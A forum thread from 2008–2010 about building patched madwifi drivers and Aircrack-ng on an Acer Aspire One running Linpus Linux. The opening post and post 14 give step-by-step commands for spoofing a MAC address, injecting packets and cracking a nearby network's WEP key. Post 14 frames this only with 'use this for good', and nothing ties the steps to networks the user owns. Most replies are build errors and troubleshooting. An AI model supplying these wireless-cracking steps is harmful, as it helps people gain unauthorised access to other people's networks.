[Acer Linpus] Aspire One and Aircrack-ng

Discussion in 'Linux' started by fliot, Dec 17, 2008.

  1. fliot

    fliot

    Joined:
    Dec 17, 2008
    Messages:
    1
    Likes Received:
    0
    1) Compilation dependencies
    I cannot guaranty the list of dependency I do is exhaustive, since I probably have some implicit ones (compiler for example....). Nevertheless here are the ones I remember, if compilations fails, look at the name of missed file and use « yum search » :
    Code:
    yum install kernel-devel krb5-devel libstdc++-devel openssl-devel make svn
    2) Take control of your Linux distribution...
    I do not really know why, but by default Kernel sources (and therefore the possibility to compile your own modules/drivers) are not provided on Aspire One.
    Nevertheless to comply with opensource delivery policies, Acer provide source code online, you can get and install it such way :
    Code:
    cd /usr/src
    wget [url]ftp://[email protected]/Aspire_One_Linpus_Linux/Aspire_One_Source/linux-2.6.23.9lw.zip[/url]
    mkdir /usr/src/linux-2.6.23.9
    cd linux-2.6.23.9
    unzip ../linux-2.6.23.9lw.zip
    cp /boot/config_080621v1.v1.0.1 .config
    chmod 755 scripts/mod/modpost
    chmod 755 scripts/basic/fixdep
    
    3) Compile and Install madfifi
    I do not really know why (even if I'm some ideas...) madwifi drivers provided by Acer don’t allow Atheros chipset packet injection functions... Let's change that:
    Code:
    ifconfig ath0 down
    ifconfig wifi0 down
    rmmod ath_pci
    svn  checkout [url]http://svn.madwifi.org/madwifi/branches/madwifi-hal-0.10.5.6/[/url] madwifi-ng
    cd madwifi-ng
    wget [url]http://patches.aircrack-ng.org/madwifi-ng-r3745.patch[/url]
    patch -Np1 -i ./madwifi-ng-r3745.patch
    ./scripts/madwifi-unload
    make
    make install
    depmod -ae
    modprobe ath_pci
    
    4) Let’s use very last Aircrack-ng software:
    Code:
    wget [url]http://download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz[/url]
    tar -zxvf aircrack-ng-1.0-rc1.tar.gz
    cd aircrack-ng-1.0-rc1
    make
    make install
    
    5) How to use Aircrack-ng (the simple way)

    a) Start the Atheros listening interface:
    Code:
    /usr/local/sbin/airmon-ng start wifi0
    b) Find the closer network WEP key
    (some doc here : http://aircrack-ng.org/doku.php?id=wesside-ng ) :
    Code:
    /usr/local/sbin/wesside-ng -i ath1
    c) use any other Aircrack-ng tools (if you do not like wesside-ng), they are located in /usr/local/sbin path.

    Conclusion:
    Even on a cheap and powerless hardware like Aspire One, WEP cracking is a question of minutes. WEP is really a poor technology and I advise you to use always MAC address filtering (it doesn't really preserve, but it makes lose more time to the attacker...).
     
    fliot, Dec 17, 2008
    #1
  2. fliot

    reignd

    Joined:
    Dec 17, 2008
    Messages:
    8
    Likes Received:
    0
    i get this error when i try to 'make'
     
    reignd, Dec 20, 2008
    #2
  3. fliot

    myky

    Joined:
    Sep 24, 2008
    Messages:
    5
    Likes Received:
    0
    some easy way :D
    let's go to hacking :D
     
    myky, Jan 5, 2009
    #3
  4. fliot

    marcob8986

    Joined:
    Sep 11, 2008
    Messages:
    10
    Likes Received:
    0
    i cannot install svn,there's the error message:
    Code:
    Error: Missing Dependency: libgnutls.so.13(GNUTLS_1_3) is needed by package libpurple
    Error: Missing Dependency: libgnutls.so.13 is needed by package libpurple
    Error: notification-daemon-xfce conflicts with notify-daemon
    Error: Missing Dependency: libgnutls.so.13 is needed by package vlc-core
    Error: Missing Dependency: libpython2.5.so.1.0 is needed by package pdvdlinux
    Error: Missing Dependency: libgnutls.so.13(GNUTLS_1_3) is needed by package vlc-core
    Error: Missing Dependency: libpython2.5.so.1.0 is needed by package pcmlinux
    what i have to do?
     
    marcob8986, Jan 6, 2009
    #4
  5. fliot

    Guest Guest

    Hi there, am a bit of a newbie at this but seem to be getting on well. am having one problem with getting hold of the linux-2.6.23.9lw.zip file. It always seems to stop after downloading 30mb. have tried navigating to the ftp site and downoading it through firefox but the same problem comes up. Has anyone got a different link for it or a torrent?
     
    Guest, Jan 10, 2009
    #5
  6. fliot

    Guest Guest

    Guest, Jan 10, 2009
    #6
  7. fliot

    bigotefalso

    Joined:
    Sep 7, 2008
    Messages:
    5
    Likes Received:
    0
    Hi,

    I can't compile it. When I do "make" it gives me this:

    Code:
    [root@localhost madwifi-ng]# make
    ./kernelversion.c:13:30: error: linux/utsrelease.h: No such file or directory
    Checking requirements... ok.
    Checking kernel configuration... /bin/sh: -c: line 0: syntax error near unexpected token `|'
    /bin/sh: -c: line 0: `echo char *uts_release = UTS_RELEASE; | grep -q -i '^[2-9]\.[4-9]\.' || { \'
    make: *** [configcheck] Error 2
    
    I don't know what am I doing bad. I need your help please.

    Thanks.
     
    bigotefalso, Jan 13, 2009
    #7
  8. fliot

    adem

    Joined:
    Sep 26, 2008
    Messages:
    6
    Likes Received:
    0
    Location:
    holland
    hi;
    when i give command patch -Np1 -i ./madwifi-ng-r3745.patch

    give me,
    Code:
    patching file ath/if_ath.c
    Hunk #1 FAILED at 2950.
    Hunk #2 FAILED at 2963.
    Hunk #3 FAILED at 2988.
    3 out of 3 hunks FAILED -- saving rejects to file ath/if_ath.c.rej
    [root@localhost madwifi-ng]# 
    
     
    adem, Jan 18, 2009
    #8
  9. fliot

    carlosfunk

    Joined:
    Jan 29, 2009
    Messages:
    4
    Likes Received:
    0
    Nice post, just a couple of updates, the madwifi url has changed slightly, plus the latest revision is 3940 but the patch on aircrack is only up to 3925
    Code:
    svn checkout [url]http://svn.madwifi-project.org/madwifi/branches/madwifi-hal-0.10.5.6/[/url] madwifi-ng
    wget [url]http://patches.aircrack-ng.org/madwifi-ng-r3925.patch[/url]
    You can either try modify the patch or just edit the source directly before you build it (only 3 or 4 changes)

    Also as of 22nd Jan aircrack-ng has a new version out...

    Code:
    wget [url]http://download.aircrack-ng.org/aircrack-ng-1.0-rc2.tar.gz[/url]
    Cheers!

    C
     
    carlosfunk, Jan 30, 2009
    #9
  10. fliot

    mikis

    Joined:
    Aug 3, 2008
    Messages:
    1
    Likes Received:
    0
    Hello

    I want to use the packet injection function in the aircrack-ng suite and followed the instructions in this thread, but without success. Have anyone made packet injection work with these instructions in Linupus?

    Thanks!
     
    mikis, Feb 17, 2009
    #10
  11. fliot

    Guest Guest

    Indeed I have, if you post a print screen of your error and we might be able to help you
     
    Guest, Mar 4, 2009
    #11
  12. fliot

    darobles

    Joined:
    Jun 19, 2009
    Messages:
    3
    Likes Received:
    0
    Hi I'm a linux newbie. and I'm stuck at the command line 7 of the second step (cp /boot/config_080621v1.v1.0.1 .config) terminal returns a message like this: cp: cannot stat `/boot/config_080621v1.v1.0.1': file or folder not exist.

    Can you help me please. Thank you
     
    darobles, Jun 27, 2009
    #12
  13. fliot

    rayafesta

    Joined:
    Jul 19, 2009
    Messages:
    1
    Likes Received:
    0
    Hello I cant get the patch to work it says the same thing as on page one, all 3 hunks fail also when I try the make command I get this

    [root@localhost madwifi-ng]# make
    ./kernelversion.c:13:30: error: linux/utsrelease.h: No such file or directory
    Checking requirements... ok.
    Checking kernel configuration... /bin/sh: -c: line 0: syntax error near unexpected token `|'
    /bin/sh: -c: line 0: `echo char *uts_release = UTS_RELEASE; | grep -q -i '^[2-9]\.[4-9]\.' || { \'
    make: *** [configcheck] Error 2

    does anybody know what this means or even have a slight idea?
     
    rayafesta, Jul 20, 2009
    #13
  14. fliot

    Jordih

    Joined:
    Jan 28, 2009
    Messages:
    1
    Likes Received:
    0
    To check the security of networks I use the SliTaz distro. There is a version that is talor fitted for the Aspire One.And it is only 60 or so MB in size, and still has a whole slew of usefull apps like Gparted. Wifi works like a charm on it.
    Here's the Wiki on it: http://www.aircrack-ng.org/doku.php?id=slitaz&DokuWiki=d9e6785dfc9a0ef49a0c6634ea3eea4c
    And here is the DL link: ftp://vmware.aircrack-ng.org/slitaz-aircrack-ng-20090704.iso

    Here is some instructions to start cracking your WEP key.
    1: load slitaz
    2: login as root
    3: startx
    4: open terminal
    5: run startaaoath0 ---This is the only way to activate the wifi card.
    6: airmon-ng
    7: airmon-ng stop ath0
    8: ifconfig wifi0 down
    9: macchanger --mac (anymac address: Like 00:11:22:33:44:55) wifi0
    10: airmon-ng start wifi0
    11: iwconfig
    12: airodump-ng ath0
    13: airodump-ng -c (channel) -w (file) --bssid (bssid) ath0
    open a new terminal, keeping the old one running and type:
    14: aireplay-ng -1 0 -a (bssid) -h (anymac) ath0
    15: aireplay-ng -3 -b (bssid) -h (anymac) ath0
    once the IVs have been captured and #Data on the first terminal exceeds 20000. open a new terminal and type:
    16: aircrack-ng -n (enter "64" or "128" depending on the WEP) -b (bssid) file-01.cap
    It wont take very long to get a WEP key.
    And please only use this for good!
     
    Jordih, Jul 25, 2009
    #14
  15. fliot

    utoy

    Joined:
    Dec 27, 2008
    Messages:
    3
    Likes Received:
    0
    Hi there. I'm still newbie in my linpus.

    I received error message: bash: patch: command not found

    when I typed: patch -Np1 -i ./madwifi-ng-r4073.patch

    I just followed the instruction, and finding the updated downloads for each links. Please help me how can i add/install the patch command?

    Thanks
     
    utoy, Jul 26, 2010
    #15
Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments (here). After that, you can post your question and our members will help you out.